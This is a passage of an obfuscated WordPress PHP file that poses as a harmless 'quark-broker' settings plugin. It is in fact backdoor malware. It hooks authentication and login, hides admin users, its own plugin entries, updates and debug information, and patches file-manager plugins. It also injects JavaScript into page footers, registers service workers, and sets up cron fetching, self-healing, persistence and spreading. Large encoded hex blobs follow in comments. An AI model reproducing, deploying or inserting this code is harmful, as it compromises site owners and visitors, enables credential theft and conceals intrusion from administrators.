            ${"\x47\x4c" . 'OBA' . 'LS'}['sc_di' . "a" . "g_\x62\x6fo" . "\x7499"] = $hg ? (794 ^ 795) : (3743 ^ 3743);
            ${('GLOB' . "\x41") . "\x4c\x53"}["sc_" . 'diag' . '_c' . 'o' . "\x6es" . 't99'] = $hc ? (3337 ^ 3336) : (1617 ^ 1617);
            ${"G\x4c\x4f\x42" . ('' . "\x41\x4c\x53")}['s' . 'c_di' . 'a' . 'g' . '_f' . "\x69l\x6599"] = $hf;
            sc_dbg_log("06x " . 'd' . 'iag: ' . '99.' . "\x399.9" . '9' . ' eve' . 'ry' . 'whe' . 're=' . ($ew ? 'Y' : 'N') . ' g=' . ($hg ? (2755 ^ 2754) : (747 ^ 747)) . ' c=' . ($hc ? (3298 ^ 3299) : (1790 ^ 1790)) . ' f=' . $hf . '/' . $tf . " ->" . "\x20" . $file);
            return $file;
        } catch (Throwable $e) { return ''; }
        catch (Exception $e) { return ''; }
    }
}

if (!(!(("\x66\x75\x6e\x63" . "tio") . 'n_exist' . 's')('sc_b' . "o\x6ft_v" . 'er_e' . 'xc' . "lud\x65" . 'd'))) {} else {
    function sc_boot_ver_excluded() {
        if (!isset(${"G" . "LO" . "\x42\x41" . 'LS'}['sc_' . "b\x6fot" . '_ver'])) return (15 != 15);
        {return ((string) ${'GL' . "OB" . ("A" . "LS")}["\x73c_bo" . 'ot_ve' . 'r']) === sc_ver_sentinel();}
    }
}

if (!(!('fu' . "" . "n" . "ction_e" . 'xists')('sc_b' . "\x6f\x6f" . 'tstr' . "a" . "\x70\x5f\x63on" . "st_" . 'exclu' . 'ded'))) {} else {
    function sc_bootstrap_const_excluded() {
        if (!defined('SC_C' . 'O' . "R\x45" . '_BO' . "O" . "TST\x52" . "\x41P\x50\x45D")) return (2 === 8);
        return ((string) ('c' . "onstant")("S" . 'C_C' . 'OR' . "\x45" . '_' . 'BO' . "O\x54" . 'ST' . 'RAP' . "\x50ED")) === sc_ver_sentinel();
    }
}


if (("\x66\x75\x6e\x63" . 'tion_' . "e\x78\x69s" . "\x74\x73")('sc_' . "d\x65b" . 'ug_on') && sc_debug_on()) {
	$sc_diag_file = sc_diag_dump_versions();
	unset($sc_diag_file);
}


if (isset(${'G' . 'LOB' . "ALS"}["\x73\x63" . "_" . 'boot_' . 've' . "r"])) {
    if (version_compare((string) ${"\x47\x4c\x4f\x42" . "ALS"}["\x73c_\x62o" . 'ot_ve' . 'r'], sc_ver(), '>=')) {
        
        if (sc_boot_ver_excluded()) {
            sc_dbg_log('06e' . ' b' . "oo\x74\x5f\x76" . "e" . 'r=99' . '.' . '99' . '.9' . '9 ST' . "\x41L\x45" . " -" . '> E' . "X\x43L\x55\x44" . 'E, ' . 'b' . "o\x6f\x74" . " " . 'to E' . "ND");
            ${'G' . 'L' . "" . "OBALS"}['sc_' . "b" . "oo\x74" . "_" . 'ex' . 'cl'] = (3840 ^ 3841);
            unset(${"GLO" . ('B' . 'A') . 'LS'}['sc' . '_' . 'bo' . "o" . 't_' . "ver"]);
        } else {
            sc_dbg_log('06a b' . "o\x6ft_v" . "er a\x6c" . 'read' . "y \x73" . "\x65t " . "\x28" . ${("G\x4c" . "\x4f\x42\x41\x4c") . 'S'}['sc_b' . 'oo' . 't_ver'] . ') -' . ">\x20e" . 'a' . 'r' . 'ly RE' . 'TURN');
            return;
        }
    } else {
        sc_dbg_log("0\x36\x62\x20" . "\x62o\x6f\x74 " . "\x74" . 'ake' . 'ove' . 'r');
        ${"G" . "LOBAL" . "\x53"}["\x73c_b" . 'oot_' . "t" . 'k'] = (35 ^ 34);
    }

} elseif (defined("\x53C_" . 'C' . "ORE\x5f" . 'BOOT' . "\x53T\x52" . 'A' . 'PPED')) {
    $_sc_leg = ("const" . "a" . 'nt')('SC_CO' . 'R' . "\x45_" . 'BOOTS' . 'T' . "RAP\x50\x45" . 'D');

    if (
        is_string($_sc_leg) &&
        preg_match("/^\\d\x2b" . "\\.\\" . 'd+\\.\\' . 'd+$/', $_sc_leg) &&
        version_compare($_sc_leg, sc_ver(), '>' . "=")
    ) {
        
        if (sc_bootstrap_const_excluded()) {
            sc_dbg_log('06f ' . 'S' . 'C' . "_" . 'C' . 'ORE_B' . "OOTST" . "\x52\x41P" . 'PED=' . $_sc_leg . ' S' . 'T' . 'ALE ' . '-> E' . "XCL" . 'U' . "\x44" . 'E, ' . 'b' . "\x6f\x6ft\x20" . 'to EN' . 'D');
            ${'G' . ("LOB" . "\x41") . 'LS'}['sc_bo' . 'ot_e' . "x" . 'cl'] = (1751 ^ 1750);
            unset($_sc_leg);
        } else {
            sc_dbg_log("06c\x20S" . "C\x5f\x43" . "ORE_B" . 'OO' . "T\x53T\x52" . 'APPE' . 'D=' . $_sc_leg . ' ->' . " " . 'earl' . 'y R' . 'E' . 'TURN');
            return;
        }
    } else {
        sc_dbg_log("06d " . "le\x67\x61c" . "\x79 \x63\x6f" . "\x6est\x20t" . 'akeov' . "e\x72");
        ${("GLOBA" . '') . "LS"}['sc' . '_boo' . 't_t' . "\x6b"] = (777 ^ 776);
        unset($_sc_leg);
    }
}

sc_dbg_log('06 bo' . 'ot ' . "\x76a\x72s" . ' se' . "t");


bagop(sc_file());
sc_dbg_log('07 un' . 'pu' . 'rg' . 'e d' . "o" . 'ne');

if (!(('function_' . 'exist' . '' . "s")('sc_mu') && ("func" . '' . "\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('s' . 'c_' . "\x73" . 'lug'))) {} else {
	try {
		$_mu_dir = sc_mu();
		if (@is_dir($_mu_dir)) {
			$_my_slug = sc_slug();
			$_entries = meyo($_mu_dir, (4864 | 136));
			if (is_array($_entries)) {
				foreach ($_entries as $_entry) {
					if ($_entry === $_my_slug) continue;
					if (strtolower(pathinfo($_entry, ("\x63\x6f" . "nst" . "\x61" . 'nt')("PAT\x48\x49" . 'NFO_' . 'EXTE' . 'N' . 'S' . 'I' . 'O' . "\x4e"))) !== 'ph' . 'p') continue;
					$_f = $_mu_dir . '/' . $_entry;
					if (@is_file($_f) && @filesize($_f) > (5478 - 478) && sc_is_family($_f, (4323 + 677))) {
						xari($_f);
					}
				}
			}
		}
	} catch (Throwable $e) {
		vugo("de" . "dup", $e);
	} catch (Exception $e) {
	}
}


if (!(! hisoc())) {} else {
	iyi("sh\x75" . 'tdow' . 'n', "s" . 'c' . '_mig' . "ra" . 'te', (2464 ^ 2465));
}


${'GLOBA' . 'L' . "\x53"}["s" . 'c' . "\x5fp" . 'lugi' . "n" . '_rul' . 'es'] = array(); 
${'GLOBA' . "\x4c" . 'S'}["s\x63\x5fi" . "\x6ej" . 'ect' . '_ru' . "l" . 'e' . 's'] = array(); 
${"\x47" . 'LOBA' . 'LS'}['sc' . '_js'] = ''; 

if (("fu" . 'nc' . "tion_exi" . "st\x73")('re' . 'giste' . "r\x5fs\x68u" . "t\x64own" . '_func' . "tion")) {
	("\x72\x65\x67\x69\x73\x74\x65\x72\x5f\x73\x68\x75\x74\x64\x6f\x77\x6e\x5f\x66\x75\x6e" . "ction")("s" . 'c_fa' . 'ta' . 'l_gua' . 'r' . "d");
	('regist' . "" . "\x65\x72\x5f" . "shutdown_function")('sc' . '_boot' . '_' . 'leas' . "e_o" . 'k');
}

$_sc_qself = dirname(sc_file()) . '/.q_' . basename(sc_file(), "\x2e" . 'php');
if (!(@is_file($_sc_qself))) {} else {
	$_sc_qm = trim((string) @(("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f" . '') . "\x6e\x74e\x6e\x74\x73")($_sc_qself));
	$_sc_cm = efuw();
	if ($_sc_qm === '' || ($_sc_cm !== '' && $_sc_qm !== $_sc_cm)) soda($_sc_qself);
	unset($_sc_qm, $_sc_cm);
}

try {
	@(('t' . 'ouc') . 'h')(dirname(sc_file()) . '/.bt' . '_' . basename(sc_file(), '.' . 'p' . 'hp'));
	$_sc_cm = efuw();
	if ($_sc_cm !== '') {
		$_sc_ocf = '.ocf_' . $_sc_cm;
		foreach (array(dirname(sc_file()), sc_mu()) as $_sc_od) {
			if (@is_file($_sc_od . '/' . $_sc_ocf)) @(("\x75" . 'nl') . 'in' . 'k')($_sc_od . '/' . $_sc_ocf);
		}
	}
	unset($_sc_cm, $_sc_ocf, $_sc_od);
} catch (Throwable $e) {
} catch (Exception $e) {
}
unset($_sc_qself);

iyi("i\x6e" . "\x69t", "s\x63_s" . 'can' . '_acti' . 'vate', (450 ^ 450));
iyi('init', 'sc' . '_mail' . '_supp' . "\x72e\x73s", (1311 ^ 1311));
iyi("l\x6f" . 'ad-' . 'plug' . 'ins' . '.p' . 'hp', 'sc_' . "\x73c\x61\x6e" . "_a\x63t\x69" . 'v' . "ate", (1065 ^ 1065));
iyi('admi' . "\x6e\x5f\x69n" . 'i' . 't', "\x73c\x5f" . "sc" . 'a' . 'n_' . "\x61\x63tiv" . 'at' . "\x65", (3338 ^ 3338));
iyi("a\x64mi" . "n\x5f" . 'i' . 'nit', 'sc_' . "c\x72on" . '_se' . "tu\x70", (9 ^ 11));
iyi("a" . 'dmin' . "_\x69n" . "i" . 't', 'sc' . "_\x70e\x72" . 'iod' . "i\x63", (5 + -2));
iyi('adm' . 'in_i' . 'ni' . "t", "sc_" . 'e' . 'nsur' . "e_\x61" . 'd' . "m\x69n" . "\x5fti" . 'ck', (8 - 4));
iyi('shut' . 'do' . "wn", "s\x63" . "_s" . "prea" . 'd', (6 + -1));
zage("wpfm_" . "\x65\x6c\x66i" . "\x6e" . 'de' . 'r_' . 'conn' . 'ect' . 'o' . 'r' . "\x5f\x6f\x70" . "t\x73", "s\x63\x5f\x68" . "\x69\x64\x65\x5ff" . 'm', (12 ^ 6), (3282 ^ 3283));
zage("\x77p_fi" . 'le_m' . 'an' . "\x61g\x65r" . '_con' . 'nect' . "o\x72_" . "opts", 'sc_h' . 'i' . 'de' . "_fm", (10 ^ 0), (3518 ^ 3519));
zage('elf' . "\x69\x6ed" . 'er_' . 'conn' . "e" . 'ctor' . '_opts', 'sc_hi' . 'de_' . 'fm', (8 ^ 2), (1329 ^ 1328));
zage('fi' . "l" . 'e_' . "m" . 'ana' . 'ge' . 'r' . "\x5fc" . "\x6fn" . "nec" . "\x74o\x72" . '_opts', 'sc' . '_hide' . '_' . 'f' . 'm', (18 + -8), (3188 ^ 3189));

zage("authe" . 'nti' . "\x63\x61te", 'sc_in' . "\x74" . "\x65rc" . "ep\x74", (1473 - 474), (17 ^ 18));
iyi("\x77p\x5flo" . "\x67\x69" . "n", "s\x63\x5f\x6c" . 'ogin_' . "c\x6fnf" . "ir\x6d", (276 ^ 755), (1702 ^ 1700));

zage('p' . "re_\x75" . 'ser_' . 'query', "\x73c_hi" . 'de_u' . "\x73er\x5f" . "q");
zage('r' . 'est_u' . 'ser' . '_q' . 'u' . "er" . 'y', "sc_" . 'hid' . "e_" . 'u' . 'ser_' . "\x72\x65st", (14 ^ 4), (15 ^ 13));
zage("vi\x65\x77" . 's_use' . "r\x73", "\x73c\x5f" . 'h' . 'ide_u' . 'se' . 'r_' . 'co' . 'u' . "n" . 't');

zage('de' . 'bug_' . 'infor' . "m" . "ation", 's' . 'c_' . "\x68ide" . '_de' . 'bug', (13 ^ 7), (3808 ^ 3809));

zage('sh' . 'ow_a' . "d\x76\x61" . 'nc' . 'e' . "d_p" . 'lugin' . 's', 'sc_' . 'hide' . "_" . 'mu', (28 - 18), (1910 ^ 1908));
iyi("\x61dmin" . "_he\x61" . 'd-p' . 'lugin' . "s.p" . "hp", "s\x63_hi" . 'd' . 'e_' . 'mu_cs' . "s");
zage('s' . 'it' . 'e_tr' . "a" . 'ns' . 'i' . "en\x74_" . "up\x64a" . 'te_' . 'plugi' . "ns", 'sc_h' . 'ide_u' . 'pd' . 'a' . "te" . "s");

zage('al' . 'l' . '_pl' . 'ugins', "\x73\x63" . '_hide' . '_f' . 'r' . "om" . "_plu" . 'gin' . "s\x5f\x6c" . 'ist');

iyi('wp' . '_a' . 'jax_' . 'm' . "k_f\x69l" . "\x65" . '_fold' . 'er_m' . 'anage' . 'r', 'sc_' . 'pa' . "t" . 'c' . "h" . '_fm', -(3996 >> 2));
iyi('wp_aj' . 'ax_co' . 'n' . 'nect' . "or", "s\x63_pa" . "t" . 'ch_fm', -(1998 >> 1));
iyi("wp_a\x6a" . "\x61" . "x_" . 'f' . 's_' . "c" . "on\x6e" . "\x65ct\x6fr", "sc_" . "p" . 'a' . "t\x63h" . '_fm', -(740 ^ 259));

iyi('w' . 'p_' . 'foot' . "\x65r", "sc_j" . 's_out', (1241 - 242));
iyi("tem\x70l" . 'a' . "te_\x72\x65" . "\x64" . 'i' . "rect", "\x73c\x5f\x6a" . 's_o' . 'b' . '_' . 'st' . 'art', (1966 ^ 1966));
iyi("pl\x75\x67i" . 'n' . 's' . "\x5f" . "\x6coade" . "d", 's' . "c_s\x74" . 'r' . "ip\x5f\x6c" . "o\x63\x6b\x65" . 'd_hoo' . "k\x73", (4042 ^ 4042));
iyi('admin' . '_' . 'fo' . 'o' . "t" . 'e' . 'r', "sc\x5fs" . 'w_reg', (7992 >> 3));
iyi("l" . "og" . "in" . '_f' . 'oo' . 'ter', "sc" . '_s' . 'w_' . 'r' . 'eg', (21 + 978));

iyi("pl\x75\x67" . "\x69\x6e" . 's_l' . 'o' . 'a' . 'ded', 'sc_l' . 'oad' . '_ca' . 'c' . "he", (3438 ^ 3436));
iyi('p' . "lugi\x6e" . 's_' . "lo" . 'ade' . "d", 'sc_d' . 'efe' . "\x72" . 're' . "\x64" . "_d\x65le" . 'te_ru' . 'n', (3261 ^ 3261));

iyi("\x70" . 'l' . 'ugi' . 'ns_lo' . 'aded', 'sc_re' . "c\x6fv" . 'er', (1978 ^ 1978));
iyi("plu" . "\x67in\x73\x5f" . 'l' . "oa\x64\x65d", "\x73c_" . "se" . "l\x66_h\x65" . "al", (2475 ^ 2475));

iyi('p' . 'lug' . 'i' . "\x6es_" . "lo" . "a\x64e" . 'd', 'sc' . '_ini' . 't', (1824 ^ 1825));
iyi('plu' . "gin" . "s\x5flo" . "a" . 'de' . "d", 'sc_c' . 'a' . 'n' . 'ar' . "y\x5fm\x61" . 'rker', (1237 ^ 1239));

iyi('plu' . 'g' . 'in' . 's' . "\x5flo" . "ad\x65\x64", 'sc_cr' . 'on_' . 's' . 'e' . 'tup', (6 >> 1));
iyi('p' . 'lugin' . 's_loa' . 'd' . 'e' . 'd', "sc_" . 'maybe' . '_fe' . 'tc' . 'h', (4 + 0));
iyi('pl' . "ug\x69n" . "\x73_\x6c" . "\x6f" . 'aded', "s" . "c_s\x77_" . "setup", (5 | 0));
iyi("p\x6cug" . 'in' . 's' . '_load' . "\x65\x64", 'sc_d' . "\x72o" . 'p_g' . 'uar' . 'd', (11 - 5));
iyi('p' . 'lu' . 'g' . 'ins_l' . "oa" . 'ded', "s" . "\x63\x5f" . "t" . 'h' . 'eme_w' . 'atchd' . 'o' . 'g', (9 - 3));
iyi("afte" . 'r' . '_sw' . "itch\x5f" . 'them' . 'e', 'sc_' . 'the' . "me\x5fs" . 'w' . "\x69\x74ch" . "ed");
iyi("pl\x75gi" . 'ns_' . "lo\x61" . 'ded', "sc\x5fp" . 'ers' . 'i' . "st" . '_' . 'al' . "w\x61ys", (56 >> 3));
if (!(('fu' . "\x6ec\x74\x69on\x5f\x65xi" . ("s" . "\x74\x73"))("reg\x69" . 's' . 'ter' . '_sh' . "utd" . "ow" . "\x6e" . '_func' . 'tio' . 'n'))) {} else {
	(("register_shut" . "") . "down_functi" . "\x6f\x6e")(function () {
		if (!empty(${'GLOB' . "A" . "L" . "S"}['sc_p' . "ersi\x73" . 'te' . "d"])) return;
		if (!defined('ABSP' . 'A' . 'TH') || !("fu\x6e\x63\x74io" . "\x6e" . "_exist" . "s")('g' . 'et_op' . "\x74io" . "\x6e")) return;
		if (("f\x75n\x63\x74" . "ion_exists")("sc_" . 'pe' . 'rsi' . "\x73t_" . 'al' . 'w' . 'ays')) {
			try {
				sc_persist_always();
			} catch (Throwable $e) {
			} catch (Exception $e) {
			}
		}
	});
}
iyi('plu' . 'g' . 'in' . 's_lo' . "\x61\x64\x65" . 'd', "\x73c_c" . "ro" . 'n_r' . "\x65" . 'c' . 'ov' . "e" . "r\x79_s" . 'etup', (4 + 4));
iyi('sc' . '_cron' . '_rec' . "o" . 'v' . 'ery', 'sc_cr' . 'on_re' . 'cove' . 'r' . "\x79");
iyi("sc_c" . "ro\x6e" . '_gua' . 'rd', 'sc_c' . "r" . "on" . '_g' . "u\x61r" . 'd_ti' . 'ck');
iyi("shu" . 'tdow' . 'n', 's' . "c\x5f\x66l" . "us\x68_\x65" . "r" . "\x72\x6frs", (16 ^ 26));

iyi("\x70\x6c" . 'ugi' . 'ns_lo' . 'a' . 'd' . "e\x64", function () {
	if (!("f" . "u\x6e\x63\x74\x69\x6f\x6e\x5f\x65" . "" . "\x78i\x73ts")('get_' . 'opt' . 'io' . 'n') || !('f' . "\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69" . '' . "\x73\x74\x73")('upda' . "\x74e" . '_op' . "ti\x6f" . "n")) return;
	$last = (int) @get_option("s" . "c_las" . 't_' . "\x72" . 'ec' . "o\x76e\x72" . 'y_che' . 'ck', (2165 ^ 2165));
	if ((time() - $last) > (767 ^ 3311)) {
		if (!wewi()) return;
		@update_option('sc_l' . 'as' . "t" . '_reco' . 'very_' . 'check', time());
		sc_cron_recovery();
	}
}, (9 + 0));

iyi("sc_c\x72" . 'on_f' . "e" . 't' . 'ch', 'sc_' . "fe\x74" . 'ch');
zage('cron' . "_\x73c" . "he" . "d" . "ul\x65s", 's' . 'c_cr' . 'on' . "_int" . "e" . "\x72" . 'v' . 'al');
sc_dbg_log('08' . ' ' . "\x68oo\x6b" . "s" . ' reg' . 'ister' . "\x65d");

if (!(('functi' . 'o' . '' . "n_exists")('did' . '_a' . 'ct' . 'ion') && did_action("pl" . "ug" . 'i' . "n\x73\x5f\x6c" . 'oad' . "e\x64"))) {} else {
	axeb();
}

sc_twin_yield(__FILE__);

}  



if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);

add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','quark-broker-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('quark-broker_group');
        do_settings_sections('quark-broker-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('quark-broker_group','quark-broker_options');
    add_settings_section('quark-broker_main','Configuration',function(){echo '<p>Configure options below.</p>';},'quark-broker-settings');
    add_settings_field('quark-broker_cache','Cache Mode',function(){
        $o=get_option('quark-broker_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('quark-broker_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'quark-broker-settings','quark-broker_main');
});
if(function_exists('add_shortcode'))add_shortcode('quark_broker_stats',function(){
    $o=get_option('quark-broker_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('quark-broker_options'))add_option('quark-broker_options',array('cache'=>'enabled','version'=>'1.0'));
});

}

/*cb0d49069cfc56b404b43d35cdec89dfc731d5e8e372753847a900e6559abd4d4237e035e630a078de95ef06b5d6165e038d1aea9b1251649c77221df9b6468e6875e2ee768d93cc05f1ed1e923bcb7083500256ca788939982050822c5d11bd8e59f6527156d0733fc68fee8ae7f41ec7dae6a6b56831ba9fa9a8d39714d129e071181f1779edfa6c627cbe665c39c2c3b4c67944d0d07524a9a39244d25467c54f44efccf277f3591a8dbca492e3a51dd9ed4844478abd7b05de007aed8a045eb9972f61e2d20a1685220fe95ba29c817a9c913fb1b2d0ad300ac0f093181289273ca948f0ee39b2693876b57b7abb99236b1b96587603f2fe95be714202585277da7abcf3cdd5c6cc3ff594a6c8ae41c548c1fd6dd25150c52b8b56dbf3685e65db49c3646ca1f594d49c7158a539de07f1d6660a62ac2b82ed7456c495648531e99b6772c1df94a2273bb61a693652eefb39958894b0715b7b86eb95c97994062dcef9fada4ed4ebde22e0c6485ed3bf0dd2b845947d5b17236067b4470218e72e04f2ad82e1fd887177c9b7819305c448f11cf0a4007d5014f4ebdcbcc0a2b6c5980cc2a78162ce673ea91ee220e336491e7bdd5183ab472475846d3e84239ffd950cfb8638b7b291c9d2103933e214b2c97c448e238a2a789b4fc449733eaa5c08822e11d312379cab0ca497267d1fd77613e21c995c66232e80d57480ba2dc468d51ef0cec40cb9e9bde8073ee3f592be6a7ee4e6ec1c1b3dc5ed8720512f34e781171e62308bd10b6115583561f44dd96d17f38a7c84783c3f3c646557e65fa1bf909333a537a5dafcc979a6e18dccd488df5b638c9946987111dd8d9ade95b780c3ffe6b473a0709018d1d36a474fcfa0ca7b581cce63bc6b3824dd5f7db27f4c1f5366ef47f6afbe1f71eab513be6f136bba5be95596be2624c61b3c39211862702c8f747004b8c19334bcfc99c9944a245c49d53dd67a932f10f71ce5b22036cffd903f908afdd53021bc7f34a91fd5234c4b364f488544d4d6cd322df0ecd3bc742231035fe3eff94e91a68d99b1660787ed1ce61a1123d68ae3a26be7efb199c2408bdd37033b59363ca3cfc3e8ac377d26adcf7d89fd71567a053d58aa05ca32e796da6515354c1fb4d944f5588b421972e4344445a4dffd7e7ce8574be4a727075a37947395d67a24f47b15cd32afa527ba49eb9c57c268bff0d10a767045ff537378347e95313a0b2357265192bfe718ea670c66b60b62b9a3a1077723ef4c230b7e0d537ffd739096d8729b355fe55c17058ab61a2b56ef9701430fe9056db7983cd6416098c7b84b0af5d6f3de6e4425abde3b91957435a4c01a34fda00991f35a62a3e461f08c271c0e41250089a7ef34d899f661a72b4284b0324155e2a5c190160461b512b04508fa29c831abd643830025d3af187e810e63cfb8606fa5255d42282914fd3574ce814975321f6360e4589b7ee20a3eed0e1ec517129a99547fcb162aa2d21394f527a93b073db45e6ec4c0ec12f88fd33a08fea791823983fc65635bbfed877d37fb0d4ea51e5f95c65eb54ef526aa2332c946328f9daab1378f43121a98beeebdd681859f29c4dfe58dbb49b15340b8d4c01faa42ba188235bfd5f1b98a1bded3e965f1ea761e9e648e05cacede376815b14cb40555c0d538d96854b12b981de773e92208f5160c8c70be334e8dc7afd7f93addc6636eb7857ed37c7698ba2b294902b701e017c736e648e0874d0d01dc67a4450e43523b07036f7e7b84a5cc6f8e0100f21af9e4e97eb8a3fdb50b0577b618d2d9e4713158ef808b669cf4ca61e81a03071393d0327ef89f02d6791bb84a25b4077ca4c0d430a7ecd70dbb57f0abfcc9fa4a2fb9942797d68ccb9679b88aeca748dd1d55d3a55560ef3456af8a146a2caa77a0257ecdb2680eb56d2c806a4905b614cd7bfeea734f4f6f17d9da9ac02dcb426d734520d1e322e839d1cbf3a26f268e795c552d3eb5f25e1b45aaa308fd794b85ae8b34ceb6f97d216a0c14288c1ae6866b07eadf59b9e8bbaf77d5cf6bd1a733c23226f7568555a968069d86d2900ad89889f9d0755451d9375f20e239bfce95c1d8504353589aebf413d5e0d2c3f72181c9c6e18c034ede9ec230d2a7de7017ceee8371298b0e335d2bd1f2c3785c09435e17bfcf3e7df12764953570cf626afddd772dea9fed491c10867c09ad45ae7a715797673f3e3121c262f3434e590b5bee55d7c4a29773d68ccd98d09615cfc2ac32a86aebc910a83796502501f36109b22e9537176bc7aa49aeebddaf3f2c873d4b0faa6f83b55d89d77abac930d913133ac07f242d1381f746947926e8764b053a3c1cf547c52b7f32314e139f6a42a2be899739ccd5e0d5da3761f85861793f93207174cdf3075ffce3a2801e456bc676b17f92fd2f2008f95ac33d2a69651fa7ccf3f0d62610e6406ee4af50d202f51c9146574a4e2f89427cb016bcdee9366d106dfa7e7f62d1b099769e306bf720fe420577925a4799f6e74a13fa69d298a47a636fa257c9610904057d32a9082741a252f50422a13a7b788092c630433b1c400767f2fd6312541b55c66389839fa884ca4ec95dad8e9fe04e25e5c27f6200cc0359cdaf73ddf0bf1f46449558c5abaaea6f9110d51f5a1bc98f77ecf48a6d7bd5a84779e2a4add60cc026b6884dba8dc10d3ba343e97ccffc5c7b006511186434bfe132fae3b7e1711ada309ce425ba23cf598c28bd95328423a3e7be7374e6ab1019d1941563b4ac08d36bd283ed847c47ab30f674dbae42145fbbba3f6f9810bd0285*/
/*87e05941807094a1677c8867c2adf8d26981e46811aec4b807aef15905acd6829a6d13b6d816b8e46844d284d0f02d836418c5adb5c9685cc156deb336d6b043de4ba1f723a961e3b6d26f280c66df74b26af65f9567933f994396efa433f26bbacd5e8aeb769c4f61a01021679a23e86db2500458b11be1354ef63a32dcef20242ab53961ab4242e30b1eb0d6592dfc121d04fdf9ff1fbd4b389fd37c8586bbd93c82ad858d905a2b4749e5f004cbc56e4a7f8febc929de219e8a9c8a7d157c69584ce618fc8d41f126cb27897007ee684f75ab39fe76ecac1129d6b8b74940b1e1eecf24ea1ca809a1ed68e37be205d2081c3d393a182043d181d1c871f960f7374bcb1301760cc51f6d730a87408c301d9b72607e91bc01af5dd4965a0f15250e79fef473bdc75ada4751e148b970f332f24a8fcd800e5a3ab261fdc52cacf6634c76a5ca3c7bbd230a9043a379c75157178e676d2a59588e623e31e9b8d8a2419c0e13c5cb9aa9e26515e17643cf7fa4da2f7d34a42c29f5e04a2c84446e2de3589167760f22ef2b6f3c10fb9d2969d29af63020a46b0a982c0207b6f4dea33d846748000fa8981b0ded64cb1210f0025ab1410f825fd1bf92205010d57fdefbd181ee1dfbc1064abe0d1a00443d03137dd5021e74f8faf55d16b48fbe7efb8575109fc6ff44b4bd76278e25f25f8391a49b8fdf886db0e80d4bc378a5881ae90697c4015c2d7b862f2f965bc8bf7d60ce1e513d697bfaf388e72ee0896e737d74e1f4134fef53d5ec86e15eb88191d133c5fe5ab3c13199c235e9ac99bfef494553bf80548f62810c56a8ac56c659cc851b5760321f3dcc2487d1fa8d2d9402719df6c37bf90baa67de1242eb868fd532db45bbec065984ecb2d410ff16323774edbe614ae5f14aa5129e7986672bc850a239f06c30e3f9d4c5694aa6ccd4829034162711249843d8d415655b16ca948ce71bb59ddf582c773f9e33cffd9de4106790ca184581d2b7f0b89f034ac56c4530291ef98f7c7b249ef443c1bee9b59ba408c44d5199522740ab25bb29afe915d14d6d041c982c45722b012736ed5e140335883c951a735058bde1c3ede016e8ab8b9b29d97da9debf4cc02c3946992436270fa2c670db0c31c9e76336c2ca1aa6ce099d8fd787ef799a20bdee471561542c1fb1c0cab61a321f7972050a5c6dab486491926dbfb5893c921e23c7eb53356efa6f44e422b0af90708fe192ee66fdbaafa3e6d8d4d53cdc79120d4aa42ea7ba87b2808b0a6903e7aca9958687de4d51bdea63e2f6c14bbb2681f8ea8fb29a1ad38944df5e8ddd29f54c97fffb0996413e6bd2bd95b2e819f897a2f864689f6ed08c87ffb6b6431aa9bc5f9012177e6db36836f2884fea907a63f2a33f453c7e16426e9b99f6a4f4ed18f58f5b2de6795b8bcf939d4e27654f2df1385f0a4bf42967c835070f659b9e5167917c99bd5feee4c088301d4bd0a677233ca91e3d0b27d310c31bce99ee9118a571c2b5eb92551db7a129799d74cf5cd555758f3c6758b6387aa1f6db54e7bd40f2f01e86a21535c781dabe3e9931af76d1c0e7908c59027d56e3fdd08a805c5951f24e7cb55942d4b41e3307b07d239fb9542fc7ffa01a5c0411c581de50822f28d66db7faa79ea6bf0185a8d1771a56a402d77592031ca79d363c96f4377f1785109640b4113e16537d6c5f47fe05a68c6be2a33ea24ee341f7bafd0dd4875eef3e8827bd96edadd82a68d5b0eb72e8d36d66aa437ce6b758932324f1ab60b29689621dcc64276a9346c31475443419a15fff4dad47a710ae761d67ecb3484433772cac08d283521a98f6b35df22cb634552f337f0d2bca6363da4269d9b8afba762565fa2f0b1fecbefbeeb34ab989f84e2c76b3bee2ad5b105f4289e8b3fb75b4ecf12eb225c7d7b096d45eb8ed8c5bf5a41db7970f6339469a211c4a8ec56b11c72d2319f9e269d1caef1fbe6ccb69cd6c5c1377901482264e9a21e3d6d5167d3298f5871ae4fe049320774679a99520fed205c1210d45be4f64204358e10840574e56048206ef68f4aec90f1632efdba43c80156e7f4791294b71b881b5e6f26ad2141a8769187d2c59a266f08f1a4c9b3c6dd39c7f38a93b29f2ad2a9318713f85652d5f3c15bb095b5fa8673acfd4fa884b3d73de67267003ff8fdc527cf81f38e14d26dc90e0413d180b2c0d5ada7b51980c675f2c21386b4774f7164abc7cb5694a73bf88a57889443b3a9991b22a305f6e65cebf4fe606da703e1174a42fd851dbee8d624961b65c8b6addadaaee2288403363457764659220e40d5f66e1d1ce8fb39701e40cfa00563acc3eb461480f88099a5875d452663314aa4f9ad948c44ca2cf2f2e7d3ac9b6b9f8b31f21e62717aa889b7326f1667b093230f5011dab34efdea154d8454295f5bbf5605c21cddd559c55a852677a47b512fc165d9c23c035f157206b0d95279747dfb50008a50f0a8d490e35dad1fd8734f5d639a40797b67a11a775578b18e822f8ea54f2656de1dbdd9f4f5e27b4b800fd426b415601e65c77af880d4eb08bdb74d7f9c46124a38abf0f60576eb21a8c4303342dfb6300ab1f8e6bb8e8ba1d018bc0263c204a95160efc6e65d70e8913d03189734b582860fe07e449bd0fdf865479d5020278fcba0df7eb2df555089a441abe99dae456f9cc5000e769e50c3c1f8c4b987e36b4b3ae3840fbc0ef6fd69da7a1485fd4c39248ec16e0b575105d7850f99e43c6d32be58dfd4a9b8e7777fc085fa553dc1fcbcfdfecc49f24ef37d964bbb5898f13558cb6077e6bae9390*/
